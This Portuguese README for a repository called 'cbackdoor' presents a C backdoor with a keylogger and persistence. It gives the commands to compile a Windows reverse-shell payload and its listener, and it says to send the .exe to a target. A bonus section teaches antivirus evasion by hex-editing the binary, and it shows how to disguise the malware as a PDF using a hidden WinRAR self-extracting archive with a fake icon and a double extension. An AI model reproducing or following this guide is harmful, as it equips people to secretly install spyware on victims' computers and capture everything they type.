spudsecurity / cbackdoor

Malware feito em C com algumas funções "extras" como um keylogger

Backdoor C

Backdoor Feita em C com algumas 2 funcionalidades extras

Pre-requisitos

Você ira precisar ter o gcc instalado

sudo apt install gcc

Ira precisar do mingw

sudo apt install mingw-w64

E também ira precisar de qualquer editor de texto

Como Configurar corretamente

Primeiro abra o arquivo Backdoor.c e modifique as linhas 145 e 146 mudando o endereço IP e porta

Depois faça o mesmo no server.c porem nas linhas 28 e 29 depois basta compilar

Como compilar

Primeiro vamos compilar o server.c usando o gcc

gcc server.c -o ArquivoFinal

Depois de compilado vamos para o arquivo principal porem iremos compilar para Windows 32bits então usaremos o mingw

⚡ Por que 32bits ?

Quando compilado em 32bits ele ira poder rodar em qualquer computador windows inclusive 64bits

i686-w64-mingw32-gcc -o NomeDaBackdoor.exe Backdoor.c -lwsock32 -lwininet

Como usar

Primeiro iremos iniciar o listener em nossa maquina

./ArquivoFinal

Depois enviamos o aquivo .exe para o "Alvo"

E logo quando ele executar o arquivo iremos receber uma conexao reversa

Comandos

As 2 funcionalidades extras sao um keylogger e uma persistencia

executando o comando

keylog_start

O seu keylogger ira iniciar ele ira salvar todas as saida do teclado em um arquivo chamado "windows.txt"

Para ler o arquivo com as saidas digite

type windows.txt

⚡oque e um keylogger ?

keylogger nada mais e do que um programa que captura tudo que for digitado

O segundo comando e da persistencia

iniciamos ele executando

persistence

Ele ira nos retornar uma saida nos dizendo a onde foi criada a persistencia

⚡oque e uma persistencia ?

Persistencia e basicamento um script que quando executado ira fazer

o seu malware ser executado sempre que o PC for ligado

Bonus

Nesse bonus eu irie te mostras algumas formas de deixar sua backdoor "indetectavel"

Modificando o codigo HEX

Eu irie te mostrar como modificar o codigo Hex da nossa backdoor

Para deixar ela ainda mais indetectavel

Primeiro iremos usar um programa chamado ghex

Para instalar o mesmo use

sudo apt-get install ghex

Logo depois iremos abrir o editor em nosso arquivo .exe

ghex malware.exe

E ira ver algo parecido com isso

Agora nos iremos modificar apenas as strings Voce deve modificar apenas na onde ta escrito "This program cannot be run in DOS" Localize essa parte usando as setas do teclado voce podera inserir qualquer valor decimal Voce tambem podera comentar no Backdoor.c coisa aleatorias que ira ajudar

Escondendo em arquivo PDF

voce ira precisar de um ico de um pdf qualquer e do malware(obvio) e do winrar

voce podera encotrar a imagem no Iconfinder entao pesquise por PDF e escolha a desejada voce ira ver algo parecido com isso E entao clique em "Download Icon in PNG"

Mas nos nao queremos uma imagem .png mas sim .ico

entao usaremos o site Icoconverte clique em "choose file" e escolha imagem que baixamos anteriormente e entao clique em upload

E entao escolha o tamanho de 64x64 entao clique em "convert to ICO" depois basta baixar ela

Agora iremos juntar todos em um so

Primeiro selecione o arquivo PDF e o malware clique com o botao direito e va em "add to archive" E entao no campo nome coloque

nome do arquivo.pdf.exe

Fazendo isso ira automaticamente marcar uma opcao SFX

Depois fazendo isso va em advanced > advanced SFX options > setup

E em "Run after extraction" coloque o nome do arquiv pdf e em baixo o nome do malware

Depois va para modes e marque a opção [] Unpack to temporary folder e hide all assim como mostrado na imagen

Depois va em Text and icon e logo a baixo na opção Load SFX icon from the file clique em browser e selecione o .icoque baixamos anteriormente

Depois va em update e marque a opção Extract and update files e tambem Overwrite all files Agora voce pode comfirmar tudo clicando em ok

Apos fazer a confirmação o arquivo ira ser criado

visualmente se parece identico ao um arquivo pdf

E pronto seu arquivo PDF malicioso foi criado

Caso queira esconder em uma imgem basta fazer o mesmo processo apenas subistituindo a extensão e nome